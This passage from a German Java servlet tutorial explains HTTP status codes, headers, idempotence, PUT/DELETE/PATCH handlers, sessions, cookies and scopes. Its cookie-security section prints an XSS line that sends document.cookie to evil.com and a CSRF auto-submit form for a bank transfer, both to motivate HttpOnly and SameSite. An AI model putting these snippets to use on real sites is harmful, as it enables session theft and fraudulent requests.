    String name = request.getParameter("name");
    String priceStr = request.getParameter("price");
    
    // Validierung
    if (name == null || name.trim().isEmpty()) {
        response.setStatus(HttpServletResponse.SC_BAD_REQUEST); // 400
        response.getWriter().println("Error: Name is required");
        return;
    }
    
    try {
        BigDecimal price = new BigDecimal(priceStr);
    } catch (NumberFormatException e) {
        response.setStatus(HttpServletResponse.SC_BAD_REQUEST); // 400
        response.getWriter().println("Error: Invalid price format");
        return;
    }
    
    // Alles okay → verarbeiten
    // ...
}

401 Unauthorized

Bedeutung: Authentifizierung erforderlich.

Verwendung: Wenn User nicht eingeloggt ist.

@WebServlet("/admin")
public class AdminServlet extends HttpServlet {
    
    @Override
    protected void doGet(HttpServletRequest request, 
                        HttpServletResponse response) {
        
        HttpSession session = request.getSession(false);
        
        if (session == null || session.getAttribute("user") == null) {
            // Nicht eingeloggt → 401
            response.setStatus(HttpServletResponse.SC_UNAUTHORIZED); // 401
            response.setHeader("WWW-Authenticate", "Basic realm=\"Admin Area\"");
            response.getWriter().println("Please login first");
            return;
        }
        
        // Eingeloggt → Admin-Panel zeigen
        // ...
    }
}

403 Forbidden

Bedeutung: Der User ist authentifiziert, aber nicht autorisiert.

Verwendung: Wenn User eingeloggt ist, aber keine Rechte hat.

@WebServlet("/admin/delete")
public class DeleteUserServlet extends HttpServlet {
    
    @Override
    protected void doDelete(HttpServletRequest request, 
                           HttpServletResponse response) {
        
        HttpSession session = request.getSession();
        User user = (User) session.getAttribute("user");
        
        if (user == null) {
            response.setStatus(HttpServletResponse.SC_UNAUTHORIZED); // 401
            return;
        }
        
        if (!user.hasRole("ADMIN")) {
            // Eingeloggt, aber kein Admin → 403
            response.setStatus(HttpServletResponse.SC_FORBIDDEN); // 403
            response.getWriter().println("You don't have permission");
            return;
        }
        
        // Admin → Löschen erlaubt
        // ...
    }
}

Der Unterschied:

  • 401 Unauthorized: „Wer bist du?“ (Login erforderlich)
  • 403 Forbidden: „Ich weiß wer du bist, aber du darfst das nicht“ (Rechte fehlen)

404 Not Found

Bedeutung: Die angeforderte Ressource existiert nicht.

Verwendung: Wenn eine Ressource nicht gefunden wurde.

@WebServlet("/products/*")
public class ProductServlet extends HttpServlet {
    
    @Override
    protected void doGet(HttpServletRequest request, 
                        HttpServletResponse response) {
        
        String pathInfo = request.getPathInfo(); // z.B. "/123"
        
        if (pathInfo == null || pathInfo.equals("/")) {
            // Keine ID angegeben
            listAllProducts(response);
            return;
        }
        
        String id = pathInfo.substring(1);
        Product product = productDAO.findById(Long.parseLong(id));
        
        if (product == null) {
            // Produkt nicht gefunden → 404
            response.setStatus(HttpServletResponse.SC_NOT_FOUND); // 404
            response.getWriter().println("Product not found");
            return;
        }
        
        // Produkt gefunden → anzeigen
        response.getWriter().println(product.toJson());
    }
}

409 Conflict

Bedeutung: Der Request kann nicht ausgeführt werden, weil er mit dem aktuellen Zustand in Konflikt steht.

Verwendung: Bei Concurrent Updates, doppelten Einträgen, etc.

@Override
protected void doPost(HttpServletRequest request, 
                     HttpServletResponse response) {
    
    String email = request.getParameter("email");
    
    // Prüfen ob Email schon existiert
    if (userDAO.existsByEmail(email)) {
        // Email bereits vergeben → 409 Conflict
        response.setStatus(HttpServletResponse.SC_CONFLICT); // 409
        response.getWriter().println("Email already registered");
        return;
    }
    
    // Email verfügbar → User erstellen
    // ...
}

5xx – Server Error

500 Internal Server Error

Bedeutung: Ein unerwarteter Fehler ist auf dem Server aufgetreten.

Verwendung: Für unbehandelte Exceptions.

@WebServlet("/products")
public class ProductServlet extends HttpServlet {
    
    @Override
    protected void doGet(HttpServletRequest request, 
                        HttpServletResponse response) {
        
        try {
            List<Product> products = productDAO.findAll();
            response.getWriter().println(toJson(products));
            
        } catch (SQLException e) {
            // Datenbankfehler → 500
            response.setStatus(HttpServletResponse.SC_INTERNAL_SERVER_ERROR);
            response.getWriter().println("Database error occurred");
            
            // Exception loggen!
            e.printStackTrace();
        }
    }
}

Wichtig:

Zeige dem User NIEMALS den vollständigen Stack Trace! Das ist ein Sicherheitsrisiko!

// FALSCH!
catch (Exception e) {
    response.getWriter().println(e.getMessage());
    e.printStackTrace(response.getWriter()); // ❌ Niemals!
}

// RICHTIG!
catch (Exception e) {
    response.getWriter().println("An error occurred");
    logger.error("Error processing request", e); // Log nur auf Server
}

503 Service Unavailable

Bedeutung: Der Server ist temporär nicht verfügbar (Wartung, Überlastung).

Verwendung: Während Wartungsfenstern oder bei Überlastung.

@WebServlet("/products")
public class ProductServlet extends HttpServlet {
    
    private static boolean maintenanceMode = false;
    
    @Override
    protected void doGet(HttpServletRequest request, 
                        HttpServletResponse response) {
        
        if (maintenanceMode) {
            response.setStatus(HttpServletResponse.SC_SERVICE_UNAVAILABLE); // 503
            response.setHeader("Retry-After", "3600"); // In 1 Stunde wieder da
            response.getWriter().println("System under maintenance");
            return;
        }
        
        // Normal verarbeiten
        // ...
    }
}

🟢 GRUNDLAGEN: HTTP-Headers verstehen

Was sind Headers?

Headers sind Metadaten über den Request oder die Response. Sie stehen im HTTP-Header-Bereich, vor dem Body.

Request-Headers:

GET /products HTTP/1.1
Host: localhost:8080
User-Agent: Mozilla/5.0
Accept: text/html
Accept-Language: de-DE,de;q=0.9
Cookie: JSESSIONID=ABC123

Response-Headers:

HTTP/1.1 200 OK
Date: Sat, 25 Oct 2025 10:00:00 GMT
Server: Payara Server 6.0
Content-Type: text/html;charset=UTF-8
Content-Length: 1234
Set-Cookie: JSESSIONID=ABC123; Path=/

Request-Headers (vom Client)

Host

Zweck: Gibt den Zielserver an.

Host: localhost:8080

Wichtig für Virtual Hosting:

Ein Server kann mehrere Domains hosten:

Host: shop.example.com  → Webshop
Host: blog.example.com  → Blog

Der Server entscheidet anhand des Host-Headers, welche Anwendung angesprochen wird.

User-Agent

Zweck: Identifiziert den Client (Browser, App, Bot).

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36

In Java lesen:

String userAgent = request.getHeader("User-Agent");

if (userAgent.contains("Mobile")) {
    // Mobile Version anzeigen
} else {
    // Desktop Version anzeigen
}

Accept

Zweck: Gibt an, welche Content-Types der Client akzeptiert.

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Was bedeutet q=0.9?

Das ist die „quality“ – eine Gewichtung:

text/html (q=1.0, implizit)         → am liebsten HTML
application/xml (q=0.9)             → XML ist auch okay
*/* (q=0.8)                         → alles andere geht zur Not

Content Negotiation:

String accept = request.getHeader("Accept");

if (accept.contains("application/json")) {
    response.setContentType("application/json");
    response.getWriter().println(product.toJson());
} else {
    response.setContentType("text/html");
    response.getWriter().println(product.toHtml());
}

Accept-Language

Zweck: Gibt die bevorzugte Sprache des Users an.

Accept-Language: de-DE,de;q=0.9,en-US;q=0.8,en;q=0.7

In Java:

Locale locale = request.getLocale(); // Gibt "de_DE" zurück
String language = locale.getLanguage(); // "de"

Cookie

Zweck: Sendet Cookies vom Client an Server.

Cookie: JSESSIONID=ABC123; theme=dark

In Java:

Cookie[] cookies = request.getCookies();

if (cookies != null) {
    for (Cookie cookie : cookies) {
        if ("theme".equals(cookie.getName())) {
            String theme = cookie.getValue(); // "dark"
        }
    }
}

Referer (sic!)

Zweck: Von welcher Seite kam der User?

Referer: https://google.com/search?q=java+tutorial

Verwendung: Tracking, Analytics, Back-Links.

Ja, es ist wirklich „Referer“ (falsch geschrieben) im HTTP-Standard! 😄


Response-Headers (vom Server)

Content-Type

Zweck: Gibt an, welcher Datentyp im Body ist.

Content-Type: text/html;charset=UTF-8

In Java:

response.setContentType("text/html;charset=UTF-8");
response.setContentType("application/json");
response.setContentType("application/pdf");
response.setContentType("image/png");

Wichtig: IMMER setzen! Sonst interpretiert der Browser den Body falsch.

Content-Length

Zweck: Größe des Response-Body in Bytes.

Content-Length: 1234

Wird meist automatisch vom Webcontainer gesetzt.

Set-Cookie

Zweck: Setzt einen Cookie im Browser.

Set-Cookie: theme=dark; Path=/; Max-Age=3600
Set-Cookie: JSESSIONID=ABC123; Path=/; HttpOnly

In Java:

Cookie cookie = new Cookie("theme", "dark");
cookie.setMaxAge(3600); // 1 Stunde
cookie.setPath("/");
response.addCookie(cookie);

Cookie-Attribute:

  • Path=/ → Cookie gilt für alle URLs unter /
  • Max-Age=3600 → Cookie lebt 3600 Sekunden
  • HttpOnly → JavaScript kann nicht auf Cookie zugreifen (Security!)
  • Secure → Cookie wird nur über HTTPS gesendet
  • SameSite=Strict → CSRF-Schutz

Location

Zweck: Gibt bei Redirects (3xx) oder 201 Created die neue URL an.

Location: /dashboard
Location: /products/123

In Java:

response.sendRedirect("/dashboard");
// oder manuell:
response.setStatus(302);
response.setHeader("Location", "/dashboard");

Cache-Control

Zweck: Steuert Caching-Verhalten.

Cache-Control: no-cache
Cache-Control: max-age=3600
Cache-Control: public

In Java:

// Nicht cachen
response.setHeader("Cache-Control", "no-cache, no-store, must-revalidate");

// 1 Stunde cachen
response.setHeader("Cache-Control", "max-age=3600");

🟡 PROFESSIONALS: Idempotenz & HTTP-Eigenschaften

Die erweiterte HTTP-Methoden-Tabelle

Für Production-Ready Code musst du die technischen Eigenschaften der HTTP-Methoden verstehen:

MethodeZweckIdempotent?Safe?
GETRessource abrufen✅ Ja✅ Ja
POSTRessource erstellen / Daten senden❌ Nein❌ Nein
PUTRessource ersetzen✅ Ja❌ Nein
DELETERessource löschen✅ Ja❌ Nein
PATCHRessource teilweise ändern❌ Nein❌ Nein
HEADWie GET, aber nur Headers✅ Ja✅ Ja
OPTIONSZeigt erlaubte Methoden✅ Ja✅ Ja
CONNECTTunnel etablieren❌ Nein❌ Nein
TRACEEcho des Requests✅ Ja✅ Ja

Was bedeutet „Idempotent“?

Eine Methode ist idempotent, wenn mehrfaches Ausführen das gleiche Ergebnis liefert wie einmaliges Ausführen.

Beispiel DELETE (idempotent):

DELETE /products/123

1. Ausführung: Produkt 123 wird gelöscht → 200 OK
2. Ausführung: Produkt 123 ist schon weg → 404 Not Found
3. Ausführung: Produkt 123 ist schon weg → 404 Not Found

Das Endergebnis ist das gleiche (Produkt ist weg) – also ist DELETE idempotent.

Beispiel POST (nicht idempotent):

POST /products
Body: {"name": "Laptop", "price": 999}

1. Ausführung: Erstellt Produkt mit ID 100 → 201 Created
2. Ausführung: Erstellt Produkt mit ID 101 → 201 Created
3. Ausführung: Erstellt Produkt mit ID 102 → 201 Created

Jedes Mal ein neues Produkt – also ist POST NICHT idempotent.

Warum ist das wichtig?

Bei Netzwerkfehlern oder Timeouts können Requests automatisch wiederholt werden. Bei idempotenten Methoden ist das sicher – bei nicht-idempotenten Methoden entstehen Duplikate.


Was bedeutet „Safe“?

Eine Methode ist safe, wenn sie den Server-Zustand nicht verändert. Sie ist nur lesend.

Safe:

  • GET – liest nur Daten
  • HEAD – liest nur Headers
  • OPTIONS – fragt nur Optionen ab

Nicht Safe:

  • POST – erstellt Daten
  • PUT – ersetzt Daten
  • DELETE – löscht Daten
  • PATCH – ändert Daten

Warum ist das wichtig?

Safe-Methoden können gecacht werden, von Proxies vorgefetcht werden, und bei Fehlern ohne Risiko wiederholt werden.


Best Practices für Production

1. GET niemals für Datenänderungen verwenden:

// ❌ FALSCH - Verändert Zustand mit GET!
@WebServlet("/deleteProduct")
protected void doGet(HttpServletRequest request, HttpServletResponse response) {
    String id = request.getParameter("id");
    productDAO.delete(id); // GEFÄHRLICH!
}

Problem: Crawler, Browser-Prefetch, Proxies können GET-Requests automatisch ausführen → Daten werden ungewollt gelöscht!

// ✅ RICHTIG - Verwende DELETE oder POST
@WebServlet("/deleteProduct")
protected void doDelete(HttpServletRequest request, HttpServletResponse response) {
    String id = request.getParameter("id");
    productDAO.delete(id); // Sicher!
}

2. PUT für vollständiges Ersetzen, PATCH für teilweise Updates:

// PUT - Komplettes Objekt ersetzen
PUT /users/123
{
  "name": "Anna Schmidt",
  "email": "anna@example.com",
  "phone": "+49 123 456789"
}
// → Alle Felder werden ersetzt

// PATCH - Nur einzelne Felder ändern
PATCH /users/123
{
  "phone": "+49 987 654321"
}
// → Nur phone wird geändert, Rest bleibt

3. Idempotenz für kritische Operationen nutzen:

Für Zahlungen, Bestellungen etc. solltest du Idempotency Keys implementieren:

@WebServlet("/order")
protected void doPost(HttpServletRequest request, HttpServletResponse response) {
    String idempotencyKey = request.getHeader("Idempotency-Key");
    
    // Prüfe ob Order mit diesem Key schon existiert
    if (orderDAO.existsByKey(idempotencyKey)) {
        // Order wurde schon erstellt - sende existierende Order zurück
        Order existing = orderDAO.findByKey(idempotencyKey);
        response.setStatus(200);
        return;
    }
    
    // Erstelle neue Order
    Order order = createOrder(request, idempotencyKey);
    response.setStatus(201);
}

→ Wenn Client den Request wiederholt (Timeout, Netzwerkfehler), wird keine Duplikat-Order erstellt!


PUT – Ressource vollständig ersetzen

Zweck:

Eine bestehende Ressource komplett ersetzen.

Eigenschaften:

  • ✅ Idempotent (mehrfaches Ausführen = gleiches Ergebnis)
  • ❌ Nicht Safe (verändert Server-Zustand)

HTTP-Request:

PUT /products/123 HTTP/1.1
Host: localhost:8080
Content-Type: application/json

{
  "name": "Laptop Pro",
  "category": "Electronics",
  "price": 1499.99
}

HTTP-Response:

HTTP/1.1 200 OK
Content-Type: application/json

{
  "id": 123,
  "name": "Laptop Pro",
  "category": "Electronics",
  "price": 1499.99
}

In Java:

@WebServlet("/products/*")
public class ProductServlet extends HttpServlet {
    
    @Override
    protected void doPut(HttpServletRequest request, 
                        HttpServletResponse response) 
                        throws ServletException, IOException {
        
        // ID aus URL extrahieren: /products/123 → "123"
        String pathInfo = request.getPathInfo();
        if (pathInfo == null || pathInfo.length() <= 1) {
            response.sendError(HttpServletResponse.SC_BAD_REQUEST, "Product ID missing");
            return;
        }
        String id = pathInfo.substring(1);
        
        // JSON aus Request Body parsen (z.B. mit Jackson/Gson)
        // Hier vereinfacht:
        BufferedReader reader = request.getReader();
        StringBuilder json = new StringBuilder();
        String line;
        while ((line = reader.readLine()) != null) {
            json.append(line);
        }
        
        // Produkt erstellen und ID setzen
        Product product = parseProductFromJson(json.toString());
        product.setId(Long.parseLong(id));
        
        // Komplettes Produkt ersetzen in DB
        boolean updated = productDAO.update(product);
        
        if (updated) {
            response.setStatus(HttpServletResponse.SC_OK);
            response.setContentType("application/json");
            response.getWriter().println(toJson(product));
        } else {
            response.sendError(HttpServletResponse.SC_NOT_FOUND, "Product not found");
        }
    }
}

Wichtig:

PUT ersetzt das GESAMTE Objekt. Felder, die nicht im Request sind, werden gelöscht!

Vorher: {id: 123, name: "Laptop", price: 999, category: "Electronics"}

PUT /products/123
{name: "Laptop Pro", price: 1299}

Nachher: {id: 123, name: "Laptop Pro", price: 1299, category: null}
         ↑ category ist WEG!

DELETE – Ressource löschen

Zweck:

Eine Ressource vom Server löschen.

Eigenschaften:

  • ✅ Idempotent (mehrfaches Löschen = gleiches Ergebnis)
  • ❌ Nicht Safe (verändert Server-Zustand)

HTTP-Request:

DELETE /products/123 HTTP/1.1
Host: localhost:8080

HTTP-Response:

HTTP/1.1 204 No Content

Oder bei Fehler:

HTTP/1.1 404 Not Found

In Java:

@WebServlet("/products/*")
public class ProductServlet extends HttpServlet {
    
    @Override
    protected void doDelete(HttpServletRequest request, 
                           HttpServletResponse response) 
                           throws ServletException, IOException {
        
        // ID aus URL: /products/123 → "123"
        String pathInfo = request.getPathInfo();
        if (pathInfo == null || pathInfo.length() <= 1) {
            response.sendError(HttpServletResponse.SC_BAD_REQUEST, "Product ID missing");
            return;
        }
        String id = pathInfo.substring(1);
        
        // Prüfen ob Produkt existiert
        Product product = productDAO.findById(Long.parseLong(id));
        
        if (product == null) {
            response.sendError(HttpServletResponse.SC_NOT_FOUND, 
                "Product with ID " + id + " not found");
            return;
        }
        
        // Produkt löschen
        productDAO.delete(Long.parseLong(id));
        
        // 204 No Content (erfolgreich gelöscht, kein Response-Body nötig)
        response.setStatus(HttpServletResponse.SC_NO_CONTENT);
    }
}

Idempotenz bei DELETE:

1. DELETE /products/123 → 204 No Content (gelöscht)
2. DELETE /products/123 → 404 Not Found (schon weg)
3. DELETE /products/123 → 404 Not Found (schon weg)

Das Endergebnis ist immer gleich: Produkt 123 existiert nicht mehr → Idempotent!


PATCH – Ressource teilweise ändern

Zweck:

Nur einzelne Felder einer Ressource ändern (nicht das ganze Objekt ersetzen).

Eigenschaften:

  • ❌ Nicht Idempotent (kann unterschiedliche Ergebnisse haben)
  • ❌ Nicht Safe (verändert Server-Zustand)

Unterschied zu PUT:

Vorher: { "name": "Laptop", "price": 999, "category": "Electronics" }

PUT /products/123
Body: { "name": "Laptop Pro", "price": 1299 }
Nachher: { "name": "Laptop Pro", "price": 1299, "category": null }
         ↑ category ist WEG! (PUT ersetzt ALLES)

PATCH /products/123
Body: { "price": 1299 }
Nachher: { "name": "Laptop", "price": 1299, "category": "Electronics" }
         ↑ name und category bleiben erhalten! (PATCH ändert nur angegebene Felder)

HTTP-Request:

PATCH /products/123 HTTP/1.1
Host: localhost:8080
Content-Type: application/json

{
  "price": 1299.99
}

In Java:

Wichtig: HttpServlet hat KEINE doPatch() Methode! Du musst service() überschreiben:

@WebServlet("/products/*")
public class ProductServlet extends HttpServlet {
    
    @Override
    protected void service(HttpServletRequest request, 
                          HttpServletResponse response) 
                          throws ServletException, IOException {
        
        String method = request.getMethod();
        
        if (method.equals("PATCH")) {
            doPatch(request, response);
        } else {
            super.service(request, response); // GET, POST, PUT, DELETE
        }
    }
    
    protected void doPatch(HttpServletRequest request, 
                          HttpServletResponse response) 
                          throws ServletException, IOException {
        
        // ID aus URL
        String pathInfo = request.getPathInfo();
        String id = pathInfo.substring(1);
        
        // Existierendes Produkt holen
        Product product = productDAO.findById(Long.parseLong(id));
        
        if (product == null) {
            response.sendError(HttpServletResponse.SC_NOT_FOUND);
            return;
        }
        
        // JSON parsen und NUR angegebene Felder ändern
        // (z.B. mit Jackson: ObjectMapper kann partial updates)
        JsonNode patch = objectMapper.readTree(request.getReader());
        
        if (patch.has("name")) {
            product.setName(patch.get("name").asText());
        }
        if (patch.has("price")) {
            product.setPrice(patch.get("price").asDouble());
        }
        if (patch.has("category")) {
            product.setCategory(patch.get("category").asText());
        }
        
        // Produkt updaten
        productDAO.update(product);
        
        response.setStatus(HttpServletResponse.SC_OK);
        response.setContentType("application/json");
        response.getWriter().println(toJson(product));
    }
}

Warum ist PATCH nicht idempotent?

Kommt drauf an! Wenn du machst:

PATCH /counter
{ "value": 42 }

→ Idempotent (setzt immer auf 42)

Aber wenn du machst:

PATCH /counter
{ "increment": 1 }

→ NICHT idempotent (jeder Request erhöht den Wert um 1)


🟡 PROFESSIONALS: Zustandslosigkeit und Sessions

Das Problem: HTTP ist zustandslos

Was bedeutet das?

Jeder HTTP-Request ist unabhängig. Der Server „erinnert sich nicht“ an vorherige Requests.

Beispiel:

Request 1: GET /login → Zeige Login-Formular
Request 2: POST /login → Validiere Credentials (email=anna@example.com)
Request 3: GET /dashboard → ???

Problem bei Request 3:

Der Server hat vergessen, dass in Request 2 jemand eingeloggt hat!

// Request 2:
if (authenticate(email, password)) {
    // Erfolgreich eingeloggt!
    // Aber wie merke ich mir das für Request 3?
}

// Request 3:
// Wer ist der User? Keine Ahnung!

Die Lösung: Sessions mit Cookies

Konzept:

  1. Server erstellt eine Session-ID (z.B. „ABC123“)
  2. Server schickt Session-ID als Cookie an Browser
  3. Browser speichert Cookie
  4. Browser sendet Cookie bei jedem weiteren Request mit
  5. Server erkennt anhand der Session-ID: „Ah, das ist Anna!“

Schritt-für-Schritt:

Browser                               Server
   |                                    |
   |---- GET /login ------------------->|
   |                                    | [Zeige Login-Form]
   |<--- 200 OK (HTML Form) ------------|
   |                                    |
   |---- POST /login ------------------>|
   |    email=anna&password=123         |
   |                                    | [Validierung erfolgreich]
   |                                    | [Erstelle Session: ID=ABC123]
   |                                    | [Speichere: ABC123 → user=anna]
   |<--- 302 Redirect ------------------|
   |    Set-Cookie: JSESSIONID=ABC123   |
   |    Location: /dashboard            |
   |                                    |
   |---- GET /dashboard ---------------->|
   |    Cookie: JSESSIONID=ABC123       |
   |                                    | [Lese Session ABC123]
   |                                    | [Finde: user=anna]
   |<--- 200 OK (Dashboard für Anna) ---|

Wichtig:

Der Browser sendet den Cookie automatisch bei jedem weiteren Request mit! Du musst nichts machen.


Sessions in Java – Die API

Session erstellen oder holen

@WebServlet("/login")
public class LoginServlet extends HttpServlet {
    
    @Override
    protected void doPost(HttpServletRequest request, 
                         HttpServletResponse response) {
        
        String email = request.getParameter("email");
        String password = request.getParameter("password");
        
        if (authenticate(email, password)) {
            // Session erstellen oder existierende holen
            HttpSession session = request.getSession();
            
            // Session-ID (wird automatisch erstellt)
            String sessionId = session.getId(); // "ABC123..."
            
            // Daten am Session-Scope hängen (server-seitig!)
            session.setAttribute("user", email);
            session.setAttribute("loginTime", new Date());
            
            // Redirect
            response.sendRedirect("/dashboard");
        }
    }
}

Was passiert intern?

  1. request.getSession() prüft:
    • Hat der Request einen Session-Cookie?
    • Nein → Erstelle neue Session mit neuer ID
    • Ja → Finde existierende Session anhand der ID
  2. Session-ID wird als Cookie gesendet: Set-Cookie: JSESSIONID=ABC123; Path=/; HttpOnly
  3. Browser speichert Cookie
  4. Bei nächstem Request: Cookie: JSESSIONID=ABC123
  5. Server findet Session anhand ID

Session-Daten lesen

@WebServlet("/dashboard")
public class DashboardServlet extends HttpServlet {
    
    @Override
    protected void doGet(HttpServletRequest request, 
                        HttpServletResponse response) {
        
        // Session holen (ohne neue zu erstellen!)
        HttpSession session = request.getSession(false);
        
        if (session == null) {
            // Keine Session → nicht eingeloggt
            response.sendRedirect("/login");
            return;
        }
        
        // Daten aus Session lesen
        String user = (String) session.getAttribute("user");
        
        if (user == null) {
            // Session existiert, aber kein User drin → nicht eingeloggt
            response.sendRedirect("/login");
            return;
        }
        
        // User ist eingeloggt → Dashboard anzeigen
        response.setContentType("text/html");
        PrintWriter out = response.getWriter();
        out.println("<h1>Welcome, " + user + "!</h1>");
    }
}

Wichtig:

request.getSession()       // Erstellt neue Session falls keine existiert
request.getSession(true)   // Gleich wie oben
request.getSession(false)  // Erstellt KEINE neue Session (gibt null zurück)

Wann welche Variante?

  • Login: request.getSession() → Erstelle neue Session
  • Dashboard/Protected Pages: request.getSession(false) → Nur existierende Session

Session-Daten löschen

@WebServlet("/logout")
public class LogoutServlet extends HttpServlet {
    
    @Override
    protected void doPost(HttpServletRequest request, 
                         HttpServletResponse response) {
        
        HttpSession session = request.getSession(false);
        
        if (session != null) {
            // Session komplett zerstören
            session.invalidate();
        }
        
        response.sendRedirect("/login?message=logged-out");
    }
}

Was macht invalidate()?

  • Löscht alle Session-Daten
  • Löscht die Session vom Server
  • Browser behält Cookie, aber Session-ID ist ungültig

Session-Timeout

Standard-Timeout:

Standardmäßig läuft eine Session nach 30 Minuten Inaktivität ab.

Konfigurieren in web.xml:

<web-app>
    <session-config>
        <session-timeout>60</session-timeout> <!-- Minuten -->
    </session-config>
</web-app>

Programmatisch setzen:

HttpSession session = request.getSession();
session.setMaxInactiveInterval(3600); // 3600 Sekunden = 1 Stunde

Session-Informationen abfragen:

HttpSession session = request.getSession();

// Wann erstellt?
long creationTime = session.getCreationTime();

// Letzter Zugriff?
long lastAccessedTime = session.getLastAccessedTime();

// Timeout?
int timeout = session.getMaxInactiveInterval(); // in Sekunden

Was wird am Session-Scope gehängt?

Gute Praxis:

// ✅ Kleine, einfache Objekte am Session-Scope hängen
session.setAttribute("userId", 123);
session.setAttribute("username", "anna");
session.setAttribute("role", "admin");
session.setAttribute("cart", new ArrayList<Integer>()); // Warenkorb-IDs

Schlechte Praxis:

// ❌ Große Objekte (Memory-Problem bei vielen Sessions!)
session.setAttribute("allProducts", productDAO.findAll()); // 10.000 Produkte!

// ❌ Datenbankverbindungen (niemals!)
session.setAttribute("connection", conn);

// ❌ Nicht-serialisierbare Objekte (bei Clustering problematisch)
session.setAttribute("myObject", new NonSerializableClass());

Warum nicht große Daten?

1000 User online
Jeder hat 100 Produkte in Session
= 100.000 Objekte im RAM
= Server stirbt!

Besser:

// Nur IDs speichern
List<Integer> cartIds = (List<Integer>) session.getAttribute("cart");

// Bei Bedarf aus DB laden
List<Product> products = productDAO.findByIds(cartIds);

🟡 PROFESSIONALS: Cookies im Detail

Cookies manuell setzen

Einfacher Cookie:

Cookie cookie = new Cookie("username", "anna");
response.addCookie(cookie);

Cookie mit Optionen:

Cookie cookie = new Cookie("theme", "dark");
cookie.setMaxAge(7 * 24 * 60 * 60); // 7 Tage
cookie.setPath("/");
cookie.setHttpOnly(true); // JavaScript kann nicht zugreifen
cookie.setSecure(true); // Nur über HTTPS
response.addCookie(cookie);

Cookies auslesen

Cookie[] cookies = request.getCookies();

String theme = null;

if (cookies != null) {
    for (Cookie cookie : cookies) {
        if ("theme".equals(cookie.getName())) {
            theme = cookie.getValue();
            break;
        }
    }
}

// theme ist entweder "dark" oder null

Helper-Methode:

private String getCookieValue(HttpServletRequest request, String name) {
    Cookie[] cookies = request.getCookies();
    if (cookies != null) {
        for (Cookie cookie : cookies) {
            if (name.equals(cookie.getName())) {
                return cookie.getValue();
            }
        }
    }
    return null;
}

// Verwendung:
String theme = getCookieValue(request, "theme");

Cookie löschen

Trick: Setze MaxAge auf 0!

Cookie cookie = new Cookie("theme", "");
cookie.setMaxAge(0); // Sofort löschen
cookie.setPath("/");
response.addCookie(cookie);

Cookie-Security

HttpOnly

Problem: JavaScript kann Cookies lesen!

// In der Browser-Konsole:
document.cookie; // "JSESSIONID=ABC123; theme=dark"

Sicherheitsrisiko: XSS-Angriff kann Session-Cookie stehlen!

// Angreifer injiziert:
<script>
  fetch('http://evil.com/steal?cookie=' + document.cookie);
</script>

Lösung: HttpOnly Flag

Cookie cookie = new Cookie("JSESSIONID", sessionId);
cookie.setHttpOnly(true); // JavaScript kann nicht zugreifen!
response.addCookie(cookie);

Jetzt kann JavaScript den Cookie nicht mehr lesen!

Secure Flag

Problem: Cookies werden über HTTP (unverschlüsselt) gesendet!

Lösung: Secure-Flag setzt → Cookie nur über HTTPS

Cookie cookie = new Cookie("JSESSIONID", sessionId);
cookie.setSecure(true); // Nur über HTTPS
response.addCookie(cookie);

SameSite Attribute

Problem: CSRF-Angriffe (Cross-Site Request Forgery)

<!-- Böse Seite evil.com -->
<form action="https://bank.com/transfer" method="post">
  <input type="hidden" name="to" value="attacker">
  <input type="hidden" name="amount" value="10000">
</form>
<script>document.forms[0].submit();</script>

Wenn User auf bank.com eingeloggt ist, wird der Session-Cookie mitgesendet!

Lösung: SameSite-Attribut

// In neueren Servlet-Versionen:
Cookie cookie = new Cookie("JSESSIONID", sessionId);
cookie.setAttribute("SameSite", "Strict");
// Browser sendet Cookie nur bei Requests von gleicher Domain!

SameSite-Modi:

  • Strict: Cookie nur bei Requests von gleicher Domain
  • Lax: Cookie bei Top-Level-Navigation (Links okay, Forms nicht)
  • None: Cookie immer mitschicken (braucht Secure-Flag!)

🟡 PROFESSIONALS: Scopes verstehen

In Java Web-Anwendungen gibt es verschiedene „Scopes“ – Bereiche, in denen Daten gespeichert werden können.

Die vier Scopes

ScopeLebensdauerVerwendung
PageEine JSP-SeiteNur in JSPs (nicht in Servlets)
RequestEin HTTP-RequestDaten zwischen Servlet und JSP weitergeben
SessionEine User-SessionUser-spezifische Daten (Login, Warenkorb)
ApplicationGesamte AnwendungGeteilte Daten für alle User

Request-Scope

Lebensdauer: Ein einziger HTTP-Request (inkl. Forward zu JSP)

Verwendung:

@WebServlet("/products")
public class ProductServlet extends HttpServlet {
    
    @Override
    protected void doGet(HttpServletRequest request, 
                        HttpServletResponse response) 
                        throws ServletException, IOException {
        
        // Daten laden
        List<Product> products = productDAO.findAll();
        
        // In Request-Scope speichern
        request.setAttribute("products", products);
        request.setAttribute("pageTitle", "All Products");
        
        // Forward zu JSP
        request.getRequestDispatcher("/WEB-INF/views/products.jsp")
               .forward(request, response);
        
        // Nach der Response sind die Attribute WEG!
    }
}

In der JSP:

<%-- products.jsp --%>
<h1>${pageTitle}</h1>
<c:forEach items="${products}" var="product">
    <p>${product.name} - ${product.price}</p>
</c:forEach>

Wichtig:

Request-Attribute existieren NUR während dieses einen Requests! Bei nächstem Request sind sie weg.


Session-Scope

Lebensdauer: Die gesamte User-Session (bis Logout oder Timeout)

Verwendung:

@WebServlet("/add-to-cart")
public class AddToCartServlet extends HttpServlet {
    
    @Override
    protected void doPost(HttpServletRequest request, 
                         HttpServletResponse response) {
        
        String productId = request.getParameter("productId");
        
        HttpSession session = request.getSession();
        
        // Warenkorb aus Session holen (oder neu erstellen)
        @SuppressWarnings("unchecked")
        List<String> cart = (List<String>) session.getAttribute("cart");
        
        if (cart == null) {
            cart = new ArrayList<>();
        }
        
        // Produkt hinzufügen
        cart.add(productId);
        
        // Zurück am Session-Scope hängen
        session.setAttribute("cart", cart);
        
        response.sendRedirect("/cart");
    }
}

In einer anderen Servlet:

@WebServlet("/cart")
public class CartServlet extends HttpServlet {
    
    @Override
    protected void doGet(HttpServletRequest request, 
                        HttpServletResponse response) {
        
        HttpSession session = request.getSession();
        
        // Warenkorb aus Session holen
        @SuppressWarnings("unchecked")
        List<String> cart = (List<String>) session.getAttribute("cart");
        
        if (cart == null) {
            cart = new ArrayList<>();
        }
        
        // Warenkorb anzeigen
        request.setAttribute("cartItems", cart);
        request.getRequestDispatcher("/WEB-INF/views/cart.jsp")
               .forward(request, response);
    }
}

Application-Scope

Lebensdauer: Die gesamte Laufzeit der Anwendung

Verwendung: Für Daten, die für ALLE User gleich sind

@WebServlet("/admin/config")
public class ConfigServlet extends HttpServlet {
    
    @Override
    protected void doPost(HttpServletRequest request, 
                         HttpServletResponse response) {
        
